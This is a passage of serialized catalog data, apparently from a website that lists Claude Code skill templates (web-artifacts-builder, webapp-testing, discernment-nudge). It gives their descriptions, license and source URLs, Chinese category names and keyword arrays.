shadcn\u002Fui). Use for complex artifacts requiring state management, routing, or shadcn\u002Fui components - not for simple single-file HTML\u002FJSX artifacts.","Apache-2.0","https:\u002F\u002Fgithub.com\u002Fdavila7\u002Fclaude-code-templates\u002Fblob\u002Fmain\u002Fcli-tool\u002Fcomponents\u002Fskills\u002Futilities\u002Fweb-artifacts-builder\u002FLICENSE.txt","https:\u002F\u002Fgithub.com\u002Fdavila7\u002Fclaude-code-templates\u002Fblob\u002Fmain\u002Fcli-tool\u002Fcomponents\u002Fskills\u002Futilities\u002Fweb-artifacts-builder\u002FSKILL.md",[187],{"categoryNo":188,"categoryName":189,"taxonomyType":21,"taxonomyTypeDesc":22},"01JBSEEDCAT000000000000009","前端开发",[191,50,192,193,194,195,196,197,198,199,200,201,202,203,204,205,206,207,208,209,210,211,105,212],"artifacts builder","web artifacts builder","artifacts","builder","state","routing","state management","component","css","frontend","ui","Tools","file","components","shadcn","react","Tailwind","suite","jsx","html","single-file","ui components",{"skillNo":214,"name":215,"nameZh":6,"description":216,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":183,"licenseFileUrl":217,"sourceHtmlUrl":218,"categories":219,"keywords":222,"publishedAt":53},"01M6AFWF33SFV9Z3SF4PEEE4BF","webapp-testing","Toolkit for interacting with and testing local web applications using Playwright. Supports verifying frontend functionality, debugging UI behavior, capturing browser screenshots, and viewing browser logs.","https:\u002F\u002Fgithub.com\u002Fdavila7\u002Fclaude-code-templates\u002Fblob\u002Fmain\u002Fcli-tool\u002Fcomponents\u002Fskills\u002Fsecurity\u002Fwebapp-testing\u002FLICENSE.txt","https:\u002F\u002Fgithub.com\u002Fdavila7\u002Fclaude-code-templates\u002Fblob\u002Fmain\u002Fcli-tool\u002Fcomponents\u002Fskills\u002Fsecurity\u002Fwebapp-testing\u002FSKILL.md",[220,221],{"categoryNo":19,"categoryName":20,"taxonomyType":21,"taxonomyTypeDesc":22},{"categoryNo":188,"categoryName":189,"taxonomyType":21,"taxonomyTypeDesc":22},[223,30,224,225,226,50,227,200,201,228,229,230,231,105,232,110,233],"webapp testing","webapp","browser","playwright","applications","debugging","toolkit","logs","screenshots","local","behavior",{"skillNo":235,"name":236,"nameZh":6,"description":237,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":183,"licenseFileUrl":238,"sourceHtmlUrl":239,"categories":240,"keywords":248,"publishedAt":53},"01M6AF67Q67JJJ5V51JR2P52KA","discernment-nudge","After you give a substantive answer or draft that the user may act on — advice or recommendations, drafted artifacts such as goals, plans, pitches, proposals, or emails, estimates or projections, analysis or interpretation of data, factual claims they may rely on, or a multi-step argument — invoke this skill BEFORE finalizing your reply and then, if it applies, append 2-3 short follow-up questions, each tied to something specific in what you just produced, that help the user check key facts, probe the reasoning or assumptions, and notice missing context. Do this at most once per conversation. Skip it when the user asked a trivial how-to or simple lookup, wants a purely educational explanation, asked you only to format, convert, or assemble a file from content they provided, is writing code they will run, is doing creative writing or casual chat, or already asked you to double-check, cite, or review — the skill file explains these boundaries and the exact output format.","https:\u002F\u002Fgithub.com\u002Fdavila7\u002Fclaude-code-templates\u002Fblob\u002Fmain\u002Fcli-tool\u002Fcomponents\u002Fskills\u002Fproductivity\u002Fdiscernment-nudge\u002FLICENSE.txt","https:\u002F\u002Fgithub.com\u002Fdavila7\u002Fclaude-code-templates\u002Fblob\u002Fmain\u002Fcli-tool\u002Fcomponents\u002Fskills\u002Fproductivity\u002Fdiscernment-nudge\u002FSKILL.md",[241,244,245],{"categoryNo":242,"categoryName":243,"taxonomyType":21,"taxonomyTypeDesc":22},"01JBSEEDCAT000000000000018","写作与文案",{"categoryNo":24,"categoryName":25,"taxonomyType":21,"taxonomyTypeDesc":22},{"categoryNo":246,"categoryName":247,"taxonomyType":159,"taxonomyTypeDesc":160},"01JBSEEDCAT000000000000036","内容创作者",[249,250,251,252,253,254,255,256,193,257,203,138,258,259,260,261,262,174,263,32,264,265,266,267,268,116,269],"discernment nudge","nudge","interpretation","help","run","reasoning","data","writing","lookup","content","review","conversation","short","up","invoke","you","analysis","claims","argument","assemble","recommendations"]